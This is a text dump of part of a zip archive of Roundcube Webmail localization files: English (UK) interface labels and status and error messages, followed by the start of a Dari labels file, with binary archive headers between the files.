$labels['findmail'] = 'Find mail messages';
$labels['namespace.personal'] = 'Personal';
$labels['namespace.other'] = 'Other users';
$labels['namespace.shared'] = 'Shared';
$labels['dualuselabel'] = 'Can contain only';
$labels['dualusemail'] = 'messages';
$labels['dualusefolder'] = 'folders';
$labels['generate'] = 'Generate';
$labels['encryptioncreatekey'] = 'Create a new key pair';
$labels['openmailvelopesettings'] = 'Open Mailvelope Settings';
$labels['encryptionprivkeysinmailvelope'] = 'You have $nr matching private keys stored in your Mailvelope keyring:';
$labels['encryptionnoprivkeysinmailvelope'] = 'This sender identity doesn\'t yet have a PGP private key stored in your Mailvelope extension. Would you like to create one in order to enable encrypted messaging?';
$labels['encryption'] = 'Encryption';
$labels['mailvelopeoptions'] = 'Mailvelope options';
$labels['mailvelopemainkeyring'] = 'Use Mailvelope main keyring';
$labels['mailvelopenotfound'] = 'Mailvelope extension is not enabled/installed in your browser.';
$labels['sortby'] = 'Sort by';
$labels['sortasc'] = 'Sort ascending';
$labels['sortdesc'] = 'Sort descending';
$labels['undo'] = 'Undo';
$labels['installedplugins'] = 'Installed plugins';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Version';
$labels['source'] = 'Source';
$labels['destination'] = 'Destination';
$labels['license'] = 'Licence';
$labels['support'] = 'Get support';
$labels['savedsearches'] = 'Saved searches';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'English';
$labels['westerneuropean'] = 'Western European';
$labels['easterneuropean'] = 'Eastern European';
$labels['southeasterneuropean'] = 'South-Eastern European';
$labels['baltic'] = 'Baltic';
$labels['cyrillic'] = 'Cyrillic';
$labels['arabic'] = 'Arabic';
$labels['greek'] = 'Greek';
$labels['hebrew'] = 'Hebrew';
$labels['turkish'] = 'Turkish';
$labels['nordic'] = 'Nordic';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Celtic';
$labels['vietnamese'] = 'Vietnamese';
$labels['japanese'] = 'Japanese';
$labels['korean'] = 'Korean';
$labels['chinese'] = 'Chinese';
$labels['arialabeltopnav'] = 'Window control';
$labels['arialabeltasknav'] = 'Application tasks';
$labels['arialabeltoolbar'] = 'Application toolbar';
$labels['arialabellistnav'] = 'List navigation';
$labels['arialabelactivetask'] = 'Active task';
$labels['arialabelmessagessearchfilter'] = 'Email listing filter';
$labels['arialabelmailsearchform'] = 'Email message search form';
$labels['arialabelcontactsearchform'] = 'Contacts search form';
$labels['arialabelmailquicksearchbox'] = 'Email search input';
$labels['arialabelquicksearchbox'] = 'Search input';
$labels['arialabelfoldersearchfilter'] = 'Folder listing filter';
$labels['arialabelfoldersearchform'] = 'Folder search form';
$labels['arialabelfolderlist'] = 'Email folder selection';
$labels['arialabelmessagelist'] = 'Email Messages Listing';
$labels['arialabelmailpreviewframe'] = 'Message preview';
$labels['arialabelmailboxmenu'] = 'Folder actions menu';
$labels['arialabellistselectmenu'] = 'List selection menu';
$labels['arialabelthreadselectmenu'] = 'Threads listing menu';
$labels['arialabelmessagelistoptions'] = 'Message list display and sorting options';
$labels['arialabelmailimportdialog'] = 'Message import dialog';
$labels['arialabelmessagenav'] = 'Message navigation';
$labels['arialabelmessagebody'] = 'Message Body';
$labels['arialabelmessageactions'] = 'Message actions';
$labels['arialabelcontactquicksearch'] = 'Contacts search form';
$labels['arialabelcontactsearchbox'] = 'Contact search input';
$labels['arialabelmessageheaders'] = 'Message headers';
$labels['arialabelforwardingoptions'] = 'Forwarding options';
$labels['arialabelreplyalloptions'] = 'Reply-all options';
$labels['arialabelmoremessageactions'] = 'More message actions';
$labels['arialabelmorecontactactions'] = 'More contact actions';
$labels['arialabelmarkmessagesas'] = 'Mark selected messages as...';
$labels['arialabelcomposeoptions'] = 'Composition options';
$labels['arialabelresponsesmenu'] = 'Canned responses menu';
$labels['arialabelattachmentuploadform'] = 'Attachment upload form';
$labels['arialabelattachmentmenu'] = 'Attachment options';
$labels['arialabelmailtomenu'] = 'Email address options';
$labels['arialabelattachmentpreview'] = 'Attachment preview';
$labels['ariasummarycomposecontacts'] = 'List of contacts and groups to select as recipients';
$labels['arialabelcontactexportoptions'] = 'Contact export options';
$labels['arialabelabookgroupoptions'] = 'Addressbook/group options';
$labels['arialabelpreferencesform'] = 'Preferences form';
$labels['arialabelidentityeditfrom'] = 'Identity edit form';
$labels['arialabelresponseeditfrom'] = 'Response edit form';
$labels['arialabelsearchterms'] = 'Search terms';
$labels['arialabeldropactionmenu'] = 'Drag-n-Drop action menu';
$labels['arialabelheadersmenu'] = 'Recipient (header) adding menu';
$labels['arialabelimagetools'] = 'Image tools';
$labels['helplistnavigation'] = 'List keyboard navigation';
$labels['helplistkeyboardnavigation'] = "Arrows up/down: Move row focus/selection.
Space: Select focused row.
Shift + up/down: Select additional row above/below.
Ctrl + Space: Add focused row to selection/remove from selection.";
$labels['helplistkeyboardnavmessages'] = "Arrows right/left: expand/collapse message thread (in threads mode only).
Enter: Open the selected/focused message.
Delete: Move selected messages to Trash.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Open the selected/focused contact.";
PK
h�\8�18CC'program/localization/en_GB/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'An error occurred.';
$messages['loginfailed']  = 'Login failed.';
$messages['cookiesdisabled'] = 'Your browser does not accept cookies.';
$messages['sessionerror'] = 'Your session is invalid or has expired.';
$messages['cookiesmismatch'] = 'Cookie mismatch detected. Please clear your browser\'s cookies.';
$messages['storageerror'] = 'Connection to IMAP server failed.';
$messages['servererror'] = 'Server Error!';
$messages['servererrormsg'] = 'Server Error: $msg';
$messages['accountlocked'] = 'Too many failed login attempts. Try again later.';
$messages['connerror'] = 'Connection Error (Failed to reach the server)!';
$messages['dberror'] = 'Database Error!';
$messages['dbconnerror'] = 'Unable to connect to the database!';
$messages['windowopenerror'] = 'The popup window was blocked!';
$messages['requesttimedout'] = 'Request timed out';
$messages['errorreadonly'] = 'Unable to perform operation. Folder is read-only.';
$messages['errornoperm'] = 'Unable to perform operation. Permission denied.';
$messages['erroroverquota'] = 'Unable to perform operation. No free disk space.';
$messages['erroroverquotadelete'] = 'No free disk space. Use SHIFT+DEL to delete a message.';
$messages['invalidrequest'] = 'Invalid request! No data was saved.';
$messages['invalidhost'] = 'Invalid server name.';
$messages['nomessagesfound'] = 'No messages found in this mailbox.';
$messages['loggedout'] = 'You have successfully terminated the session. Goodbye!';
$messages['mailboxempty'] = 'Mailbox is empty';
$messages['nomessages'] = 'No messages';
$messages['refreshing'] = 'Refreshing...';
$messages['loading'] = 'Loading...';
$messages['uploading'] = 'Uploading file...';
$messages['attaching'] = 'Attaching file...';
$messages['uploadingmany'] = 'Uploading files...';
$messages['loadingdata'] = 'Loading data...';
$messages['checkingmail'] = 'Checking for new messages...';
$messages['sendingmessage'] = 'Sending message...';
$messages['messagesent'] = 'Message sent successfully.';
$messages['savingmessage'] = 'Saving message...';
$messages['messagesaved'] = 'Message saved to Drafts.';
$messages['successfullysaved'] = 'Successfully saved.';
$messages['savingresponse'] = 'Saving response text...';
$messages['deleteresponseconfirm'] = 'Do you really want to delete this response text?';
$messages['nocontactselected'] = 'You have not selected a contact yet.';
$messages['addedsuccessfully'] = 'Contact successfully added to address book.';
$messages['contactexists'] = 'A contact with the same email address already exists.';
$messages['contactnameexists'] = 'A contact with the same name already exists.';
$messages['blockedimages'] = 'To protect your privacy, remote images are blocked in this message.';
$messages['blockedresources'] = 'To protect your privacy remote resources have been blocked.';
$messages['suspiciousemail'] = 'This message contains suspicious email addresses that may be fraudulent.';
$messages['bccemail'] = 'The forwarded message(s) contain confidential recipients (Bcc).';
$messages['bouncehint'] = 'The message will be sent without any modifications, i.e. using the original body, headers and recipients.';
$messages['encryptedmessage'] = 'This is an encrypted message and can not be displayed. Sorry!';
$messages['externalmessagedecryption'] = 'This is an encrypted message and can be decrypted with your browser extension.';
$messages['nopubkeyfor'] = 'No valid public key found for $email';
$messages['nopubkeyforsender'] = 'No valid public key found for your sender identity. Do you want to encrypt the message for the recipients only?';
$messages['encryptnoattachments'] = 'Already uploaded attachments cannot be encrypted. Please re-add them in the encryption editor.';
$messages['searchpubkeyservers'] = 'Do you want to search public key servers for the missing keys?';
$messages['encryptpubkeysfound'] = 'The following public keys have been found:';
$messages['keyservererror'] = 'Failed to get key from keyserver.';
$messages['keyimportsuccess'] = 'Public key $key successfully imported into your keyring.';
$messages['nocontactsfound'] = 'No contacts found.';
$messages['contactnotfound'] = 'The requested contact was not found.';
$messages['contactsearchonly'] = 'You must use a search form to see contacts from this addressbook.';
$messages['sendingfailed'] = 'Failed to send message.';
$messages['senttooquickly'] = 'Please wait $sec sec(s). before sending this message.';
$messages['errorsavingsent'] = 'An error occurred while saving sent message.';
$messages['errorsaving'] = 'An error occurred while saving.';
$messages['errormoving'] = 'Could not move the message(s).';
$messages['errorcopying'] = 'Could not copy the message(s).';
$messages['errordeleting'] = 'Could not delete the message(s).';
$messages['errormarking'] = 'Could not mark the message(s).';
$messages['alerttitle'] = 'Attention';
$messages['confirmationtitle'] = 'Are you sure...';
$messages['deletecontactconfirm']  = 'Do you really want to delete the selected contact(s)?';
$messages['deletegroupconfirm']  = 'Do you really want to delete the selected group?';
$messages['deletemessagesconfirm'] = 'Do you really want to delete the selected message(s)?';
$messages['deletefolderconfirm']  = 'Do you really want to delete this folder?';
$messages['movefolderconfirm']  = 'Do you really want to move this folder?';
$messages['purgefolderconfirm']  = 'Do you really want to delete all messages in this folder?';
$messages['contactdeleting'] = 'Deleting contact(s)...';
$messages['groupdeleting'] = 'Deleting group...';
$messages['folderdeleting'] = 'Deleting folder...';
$messages['foldermoving'] = 'Moving folder...';
$messages['foldersubscribing'] = 'Subscribing to folder...';
$messages['folderunsubscribing'] = 'Unsubscribing from folder...';
$messages['formincomplete'] = 'The form was not completely filled out.';
$messages['noemailwarning'] = 'Please enter a valid email address.';
$messages['nonamewarning']  = 'Please enter a name.';
$messages['nopagesizewarning'] = 'Please enter a page size.';
$messages['nosenderwarning'] = 'Please enter sender email address.';
$messages['recipientsadded'] = 'Recipient(s) added successfully.';
$messages['norecipientwarning'] = 'Please enter at least one recipient.';
$messages['disclosedrecipwarning'] = 'All recipients will see each others e-mail addresses. To prevent this and protect their privacy you can use the Bcc field.';
$messages['disclosedreciptitle'] = 'Too many public recipients';
$messages['nosubjectwarning']  = 'The "Subject" field is empty. Would you like to enter one now?';
$messages['nosubjecttitle']  = 'No subject';
$messages['nobodywarning'] = 'Send this message without any text?';
$messages['notsentwarning'] = 'The message has not been sent and has unsaved changes. Do you want to discard your changes?';
$messages['restoresavedcomposedata'] = 'A previously composed but unsent message was found.\n\nSubject: $subject\nSaved: $date\n\nDo you want to restore this message?';
$messages['nosearchname'] = 'Please enter a contact name or email address.';
$messages['notuploadedwarning'] = 'Not all attachments have been uploaded yet. Please wait or cancel the upload.';
$messages['searchsuccessful'] = '$nr messages found.';
$messages['contactsearchsuccessful'] = '$nr contacts found.';
$messages['searchnomatch'] = 'Search found no matches.';
$messages['searching'] = 'Searching...';
$messages['checking'] = 'Checking...';
$messages['stillsearching'] = 'Still searching...';
$messages['nospellerrors'] = 'No spelling errors found.';
$messages['folderdeleted'] = 'Successfully deleted folder.';
$messages['foldersubscribed'] = 'Successfully subscribed to folder.';
$messages['folderunsubscribed'] = 'Successfully unsubscribed from folder.';
$messages['folderpurged'] = 'Folder successfully emptied.';
$messages['folderexpunged'] = 'Folder successfully compacted.';
$messages['deletedsuccessfully'] = 'Successfully deleted.';
$messages['converting'] = 'Removing formatting...';
$messages['messageopenerror'] = 'Could not load message from server.';
$messages['filelinkerror'] = 'Attaching the file failed.';
$messages['fileuploaderror'] = 'File upload failed.';
$messages['csvfilemismatch'] = 'Import of multiple CSV files with different fields is not supported.';
$messages['filesizeerror'] = 'The uploaded file exceeds the maximum size of $size.';
$messages['filecounterror'] = 'You can upload maximum $count files at once.';
$messages['msgsizeerror'] = 'Failed to attach a file. Maximum size of a message ($size) exceeded.';
$messages['msgsizeerrorfwd'] = 'Maximum size of a message ($size) exceeded. $num message(s) have not been attached.';
$messages['copysuccess'] = 'Successfully copied $nr contacts.';
$messages['movesuccess'] = 'Successfully moved $nr contacts.';
$messages['copyerror'] = 'Could not copy any contacts.';
$messages['moveerror'] = 'Could not move any contacts.';
$messages['sourceisreadonly'] = 'This address book is read-only.';
$messages['errorsavingcontact'] = 'Could not save the contact address.';
$messages['movingmessage'] = 'Moving message(s)...';
$messages['copyingmessage'] = 'Copying message(s)...';
$messages['copyingcontact'] = 'Copying contact(s)...';
$messages['movingcontact'] = 'Moving contact(s)...';
$messages['deletingmessage'] = 'Deleting message(s)...';
$messages['markingmessage'] = 'Marking message(s)...';
$messages['addingmember'] = 'Adding contact(s) to the group...';
$messages['removingmember'] = 'Removing contact(s) from the group...';
$messages['receiptsent'] = 'Successfully sent a read receipt.';
$messages['errorsendingreceipt'] = 'Could not send the receipt.';
$messages['deleteidentityconfirm'] = 'Do you really want to delete this identity?';
$messages['nodeletelastidentity'] = 'You cannot delete this identity, it\'s your last one.';
$messages['forbiddencharacter'] = 'Folder name contains a forbidden character.';
$messages['selectimportfile'] = 'Please select a file to upload.';
$messages['addresswriterror'] = 'The selected address book is not writeable.';
$messages['contactaddedtogroup'] = 'Successfully added the contacts to this group.';
$messages['contactremovedfromgroup'] = 'Successfully removed contacts from this group.';
$messages['nogroupassignmentschanged'] = 'No group assignments changed.';
$messages['importwait'] = 'Importing, please wait...';
$messages['importformaterror'] = 'Import failed! The uploaded file is not in a valid import format.';
$messages['importconfirm'] = '<b>Successfully imported $inserted contacts</b>';
$messages['importconfirmskipped'] = '<b>Skipped $skipped existing entries</b>';
$messages['importmessagesuccess'] = 'Successfully imported $nr messages';
$messages['importmessageerror'] = 'Import failed! The uploaded file is not a valid message or mailbox file';
$messages['opnotpermitted'] = 'Operation not permitted!';
$messages['nofromaddress'] = 'Missing email address in selected identity.';
$messages['editorwarning'] = 'Switching editor type may cause text formatting to be lost. Do you wish to continue?';
$messages['httpreceivedencrypterror'] = 'A fatal configuration error occurred. Contact your administrator immediately. <b>Your message can not be sent.</b>';
$messages['smtpconnerror'] = 'SMTP Error ($code): Connection to server failed.';
$messages['smtpautherror'] = 'SMTP Error ($code): Authentication failed.';
$messages['smtpfromerror'] = 'SMTP Error ($code): Failed to set sender "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP Error ($code): Failed to add recipient "$to" ($msg).';
$messages['smtprecipientserror'] = 'SMTP Error: Unable to parse recipients list.';
$messages['smtputf8error'] = 'SMTP Error: Server does not support Unicode in email address.';
$messages['smtpsizeerror'] = 'SMTP Error: Message size exceeds server limit ($limit)';
$messages['smtperror'] = 'SMTP Error: $msg';
$messages['emailformaterror'] = 'Invalid email address: $email';
$messages['toomanyrecipients'] = 'Too many recipients. Reduce the number of recipients to $max.';
$messages['maxgroupmembersreached'] = 'The number of group members exceeds the maximum of $max.';
$messages['internalerror'] = 'An internal error occurred. Please try again.';
$messages['contactdelerror'] = 'Could not delete contact(s).';
$messages['contactdeleted'] = 'Contact(s) deleted successfully.';
$messages['contactrestoreerror'] = 'Could not restore deleted contact(s).';
$messages['contactrestored'] = 'Contact(s) successfully restored.';
$messages['groupdeleted'] = 'Group deleted successfully.';
$messages['grouprenamed'] = 'Group renamed successfully.';
$messages['groupcreated'] = 'Group created successfully.';
$messages['savedsearchdeleted'] = 'Saved search successfully deleted.';
$messages['savedsearchdeleteerror'] = 'Could not delete saved search.';
$messages['savedsearchcreated'] = 'Saved search successfully created.';
$messages['savedsearchcreateerror'] = 'Could not create saved search.';
$messages['messagedeleted'] = 'Message(s) deleted successfully.';
$messages['messagemoved'] = 'Message(s) moved successfully.';
$messages['messagemovedtotrash'] = 'Message(s) moved to Deleted Items successfully.';
$messages['messagecopied'] = 'Message(s) copied successfully.';
$messages['messagemarked'] = 'Message(s) marked successfully.';
$messages['autocompletechars'] = 'Enter at least $min characters for autocompletion.';
$messages['autocompletemore'] = 'More matching entries found. Please type more characters.';
$messages['namecannotbeempty'] = 'Name cannot be empty.';
$messages['nametoolong'] = 'Name is too long.';
$messages['namedotforbidden'] = 'Folder name cannot start with a dot.';
$messages['folderupdated'] = 'Successfully updated folder.';
$messages['foldercreated'] = 'Successfully created folder.';
$messages['invalidimageformat'] = 'Not a valid image format.';
$messages['mispellingsfound'] = 'Spelling errors detected in the message.';
$messages['parentnotwritable'] = 'Unable to create/move folder into selected parent folder. No access rights.';
$messages['messagetoobig'] = 'The message part is too big to be processed.';
$messages['attachmentvalidationerror'] = 'This attachment is suspicious because its type doesn\'t match the type declared in the message. If you do not trust the sender, you shouldn\'t open it in the browser because it may contain malicious contents.<br/><br/><em>Expected: $expected; found: $detected</em>';
$messages['noscriptwarning'] = 'Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser\'s settings.';
$messages['messageissent'] = 'The message was already sent, but not yet saved. Do you want to save it now?';
$messages['errnotfound'] = 'File not found';
$messages['errnotfoundexplain'] = 'The requested resource was not found.';
$messages['errfailedrequest'] = 'Failed request';
$messages['errauthorizationfailed'] = 'Authorisation failed';
$messages['errunauthorizedexplain'] = 'Could not verify that you are authorised to access this service.';
$messages['errrequestcheckfailed'] = 'Request check failed';
$messages['errcsrfprotectionexplain'] = "For your protection, access to this resource is secured against CSRF.\nIf you see this, you probably didn't log out before leaving the web application.\n\nHuman interaction is now required to continue.";
$messages['errcontactserveradmin'] = 'Please contact your server administrator.';
$messages['clicktoresumesession'] = 'Click here to resume your previous session';
$messages['errcomposesession'] = 'Compose session error';
$messages['errcomposesessionexplain'] = 'Requested compose session not found.';
$messages['clicktocompose'] = 'Click here to compose a new message';
$messages['nosupporterror'] = 'This feature is not supported by your web browser.';
$messages['siginserted'] = 'Signature inserted successfully.';
$messages['responseinserted'] = 'Response inserted successfully.';
$messages['noresponsesavailable'] = 'No responses available';
$messages['listempty'] = 'The list is empty.';
$messages['listusebutton'] = 'Use the Create button to add a new record.';
$messages['keypaircreatesuccess'] = 'A new key pair has been successfully created for $identity.';
$messages['emptyattachment'] = 'This attachment appears to be empty.<br>Content may have been removed by anti-virus/anti-spam services. Please check with the sender.';
$messages['oauthloginfailed'] = 'OAuth login failed. Please try again.';
PK
h�\ɰ�}�9�9%program/localization/fa_AF/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'به اين پروژه خوش امديد';
$labels['username'] = 'نام کاربر';
$labels['password'] = 'شفر';
$labels['server'] = 'سرور';
$labels['login'] = 'داخل شدن';
$labels['logout'] = 'خروج';
$labels['mail'] = 'ايميل';
$labels['settings'] = 'تنظیمات شخصی';
$labels['addressbook'] = 'کتاب ادرس';
$labels['inbox'] = 'نامه های ارسالي';
$labels['drafts'] = 'نامه های ناتکمیل';
$labels['sent'] = 'ارسال شده';
$labels['trash'] = 'اشغال دانی';
$labels['junk'] = 'بیکاره';
$labels['show_real_foldernames'] = 'نمایش نام واقعی برای فولدرهای خاص';
$labels['subject'] = 'مضمون';
$labels['from'] = 'ارسال کننده';
$labels['sender'] = 'فرستنده';
$labels['to'] = 'ګيرينده';
$labels['cc'] = 'تکثیر';
$labels['bcc'] = 'تکثیر پنهان';
$labels['replyto'] = 'جواب نامه';
$labels['date'] = 'تاريخ';
$labels['size'] = 'اندازه';
$labels['priority'] = 'اولویت';
$labels['organization'] = 'تنظیمات';
$labels['readstatus'] = 'خواندن وضعیت';
$labels['listoptions'] = 'لیست کردن آپشن ها...';
$labels['mailboxlist'] = 'پوشه ها';
$labels['messagesfromto'] = 'از  مقدار پيغام به مقدار حساب شده';
$labels['messagenrof'] = 'از شمار پيغام های حساب شده';
$labels['copy'] = 'تکثیر';
$labels['move'] = 'انتقال';
$labels['moveto'] = 'انتقال بدهید به ...';
$labels['copyto'] = 'کپی کردن به...';
$labels['download'] = 'داونلود کردن';
$labels['open'] = 'باز کردن';
$labels['showattachment'] = 'نمایش';
$labels['filename'] = 'نام فايل';
$labels['filesize'] = 'اندازه فايل';
$labels['addtoaddressbook'] = 'در کتاب ادرس علاوه نماييد';
$labels['sun'] = 'يکشنپبه';
$labels['mon'] = 'دوشنبه';
$labels['tue'] = 'سه شنبه';
$labels['wed'] = 'چهارشنبه';
$labels['thu'] = 'پنج شنبه';
$labels['fri'] = 'جمعه';
$labels['sat'] = 'شنبه';
$labels['sunday'] = 'يکشنبه';
$labels['monday'] = 'دوشنبه';
$labels['tuesday'] = 'سه شنبه';
$labels['wednesday'] = 'چهارشنبه';
$labels['thursday'] = 'پنج شنبه';
$labels['friday'] = 'جمعه';
$labels['saturday'] = 'شنبه';
$labels['jan'] = 'جنوری';
$labels['feb'] = 'فبروری';
$labels['mar'] = 'مارچ';
$labels['apr'] = 'اپریل';
$labels['may'] = 'می';
$labels['jun'] = 'جون';
$labels['jul'] = 'جولایی';
$labels['aug'] = 'آگست';
$labels['sep'] = 'سپتمبر';
$labels['oct'] = 'اکتوبر';
$labels['nov'] = 'نومبر';
$labels['dec'] = 'دسمبر';
$labels['longjan'] = 'جنوری';
$labels['longfeb'] = 'فبروری';
$labels['longmar'] = 'مارچ';
$labels['longapr'] = 'اپریل';
$labels['longmay'] = 'می';
$labels['longjun'] = 'جون';
$labels['longjul'] = 'جولایی';
$labels['longaug'] = 'آگست';
$labels['longsep'] = 'سپتمبر';
$labels['longoct'] = 'اکتوبر';
$labels['longnov'] = 'نومبر';
$labels['longdec'] = 'دسمبر';
$labels['today'] = 'امروز';
$labels['refresh'] = 'رفرش';
$labels['checkmail'] = 'بررسي کردن پيغام های جديد';
$labels['compose'] = 'نوشتن پیام حدید';
$labels['writenewmessage'] = 'ساختن پيغام جديد';
$labels['reply'] = 'پاسخ';
$labels['replytomessage'] = 'جواب دادن به پيغام';
$labels['replytoallmessage'] = 'به فرستنده و تمام گيرينده ها جواب بدهيد';
$labels['replyall'] = 'پاسخ به همه';
$labels['replylist'] = 'لیست پاسخ';
$labels['forward'] = 'فوروارد';
$labels['forwardmessage'] = 'فرستادن این پیام به دیگران / فارورد';
$labels['deletemessage'] = 'حذف کردن پيغام';
$labels['movemessagetotrash'] = 'پيغام را به اشيآيي حذف شده منتقل نماييد';
$labels['printmessage'] = 'اين پيغام را چاپ کنيد';
$labels['previousmessage'] = 'پيغام قبلي را نشان دهيد';
$labels['firstmessage'] = 'پيغام اولي را نشان دهيد';
$labels['nextmessage'] = 'پيغام بعدي رانشان دهيد';
$labels['lastmessage'] = 'پيغام اخير را نشان دهيد';
$labels['backtolist'] = 'بازگشتن به لست پيغام';
$labels['viewsource'] = 'منبع / کود را نشان دهيد';
$labels['mark'] = 'نشانه گذاری';
$labels['markmessages'] = 'پيغام ها را نشاني کنيد';
$labels['markread'] = 'مانند خوانده شده';
$labels['markunread'] = 'مانند خوانده نشده';
$labels['markflagged'] = 'مانند نشانی شده';
$labels['markunflagged'] = 'مانند نشانی ناشده';
$labels['more'] = 'بیشتر';
$labels['back'] = 'بازگشت';
$labels['options'] = 'انتخاب ها';
$labels['first'] = 'اول';
$labels['last'] = 'انتها';
$labels['previous'] = 'قبلی';
$labels['next'] = 'بعدی';
$labels['select'] = 'انتخاب کردن';
$labels['all'] = 'تمام';
$labels['none'] = 'هيچ کدام';
$labels['isread'] = 'خواندن';
$labels['unread'] = 'ناخوانده';
$labels['flagged'] = 'نشانی شده';
$labels['unanswered'] = 'پیامهای جواب نداده شده';
$labels['deleted'] = 'حذف شد';
$labels['filter'] = 'تصفیه کردن';
$labels['list'] = 'لیست';
$labels['attachment'] = 'الصاق';
$labels['nonesort'] = 'هيچ کدام';
$labels['sentdate'] = 'تاریخ ارسال';
$labels['arrival'] = 'تاریخ دریافت';
$labels['asc'] = 'صعودی';
$labels['desc'] = 'نزولی';
$labels['layoutlist'] = 'لیست';
$labels['compact'] = 'خلاصه';
$labels['empty'] = 'خالي';
$labels['quota'] = '‌طريقه استعمال ديسک';
$labels['unknown'] = 'نامعلوم';
$labels['unlimited'] = 'نامعين/ نامحدود';
$labels['quicksearch'] = 'جستجوی سریع';
$labels['resetsearch'] = 'بازنشاندن جستجو';
$labels['body'] = 'متن پیام';
$labels['openinextwin'] = 'در پینجره ای جدید باز کنید';
$labels['sendmessage'] = 'پيغام را همين حالا ارسال کنيد';
$labels['savemessage'] = 'این پیش نویس را حفظ نمایید';
$labels['addattachment'] = 'ضميمه نمودن يک فايل';
$labels['charset'] = 'ست کرکتر ها';
$labels['editortype'] = 'روش تصحیح کننده / نوشتاری';
$labels['returnreceipt'] = 'رسید برای مراجعت نامه';
$labels['recipient'] = 'گیرنده';
$labels['checkspelling'] = 'املا را بررسي کنيد';
$labels['resumeediting'] = 'ادامه / بازگشت به تصحیی کردن / نوشتن';
$labels['revertto'] = 'رجوع کردن به';
$labels['attachments'] = 'ضميمه ها';
$labels['upload'] = 'اپلود کردن';
$labels['close'] = 'بستن';
$labels['low'] = 'کم';
$labels['lowest'] = 'کمترین';
$labels['normal'] = 'عادی';
$labels['high'] = 'عالي';
$labels['highest'] = 'عاليترين';
$labels['nosubject'] = 'مضمون ندارد';
$labels['showimages'] = 'نمايش دادن تصاوير';
$labels['alwaysshow'] = 'همیشه نشان بده تصاویر را از این فرسیتنده﷼';
$labels['htmltoggle'] = 'ایچ تی ام ایل';
$labels['plaintoggle'] = 'متن ساده';
$labels['savesentmessagein'] = 'پیام ارسال شده را ذخیره کن در';
$labels['dontsave'] = 'ذخیره نکنید';
$labels['maxuploadsize'] = '$sizeزیاد ترین اندازه اجازه داده شده فایل عبارت است از';
$labels['addcc'] = 'نسخیه دوم  را علاوه کنید';
$labels['addbcc'] = 'نسخه پنهان را علاوه کنید';
$labels['addreplyto'] = 'علاوه کردن';
$labels['mdnrequest'] = 'فرستانده این پیام خواهش نموده زمانیکه شما نامه را خواندید براش آگاهی داده شود آيا شما ميخواهيد که فرستنده را آګاه سازيد';
$labels['receiptread'] = 'بازگشت رسید (خوانده شده)';
$labels['yourmessage'] = 'برای پيغام شما اين يک رسید بازگشت است';
$labels['receiptnote'] = 'يادداشت : اين رسيد شما را فقط اګاه ميسازد که پيغام به کامپیوتر گیرنده نمایش داده شده است  هیچ گارنتی وجود ندارد که گیرنده پیام این پیام را خوانده و یا مطالب آن را درک کرده باشد.';
$labels['name'] = 'نشان دادن نام';
$labels['firstname'] = 'اسم/ نام';
$labels['surname'] = 'اسم فاميلي / تخلص';
$labels['email'] = 'ايميل';
$labels['other'] = 'دیگر';
$labels['typeother'] = 'دیگر';
$labels['editcontact'] = 'آدرس جدید را تصحیح کنید';
$labels['edit'] = 'تصحيح کردن';
$labels['cancel'] = 'لغو کردن/ حذف کردن';
$labels['save'] = 'حفظ کردن';
$labels['delete'] = 'حذف کردن';
$labels['addphoto'] = 'افزودن';
$labels['deletecontact'] = 'آدرس های انتخاب شده را حذف کنيد';
$labels['composeto'] = 'ايمیل را نوشته کنيد به';
$labels['contactsfromto'] = 'از$count$to به $from آدرس ها از';
$labels['print'] = 'چاپ کردن';
$labels['export'] = 'صادر کردن';
$labels['exportvcards'] = 'صادر نماییدVcardآدرس ها را به فرمت';
$labels['previouspage'] = 'بسته قبلي را نشان دهيد';
$labels['firstpage'] = 'بسته اولي را نشان دهيد';
$labels['nextpage'] = 'بسته بعدي را نشان دهيد';
$labels['lastpage'] = 'بسته اخير را نشان دهيد';
$labels['groups'] = 'گروه ها';
$labels['personaladrbook'] = 'ادرس های شخصي';
$labels['import'] = 'وارد کردن';
$labels['importcontacts'] = 'آدرس ها را وارد نمایید';
$labels['importreplace'] = 'تمام کتاب آدرس ها را عوض نمایید';
$labels['done'] = 'اجرا شد';
$labels['settingsfor'] = 'تنظیمات برای';
$labels['about'] = 'درباره نرم افزار';
$labels['preferences'] = 'ترجيحات';
$labels['userpreferences'] = 'ترجيحات کاربر';
$labels['editpreferences'] = 'تصحيح کردن ترجيحات  کاربر';
$labels['identities'] = 'شناخت ها';
$labels['preferhtml'] = 'نشان دادن ايچ ټي ام ايل';
$labels['htmlmessage'] = 'پيغام ايچ ټي‌ام ايل';
$labels['prettydate'] = 'تاريخ های مهم';
$labels['setdefault'] = 'بطور همیشگی انتخاب نمایید';
$labels['autodetect'] = 'اتومات';
$labels['language'] = 'لسان';
$labels['timezone'] = 'ناحيه زمانی';
$labels['pagesize'] = 'تعداد سطر ها در صفحه';
$labels['signature'] = 'امضا';
$labels['dstactive'] = 'Daylight saving time';
$labels['htmleditor'] = 'پيغام ايچ ټي ام ايل رانوشته کنيد';
$labels['htmlsignature'] = 'امضای حساب ایمیل بشکل ایچ تی ام ال';
$labels['previewpane'] = 'چوکات پیشنما را نشان دهید';
$labels['skin'] = 'تمپلیت محیط کاربری';
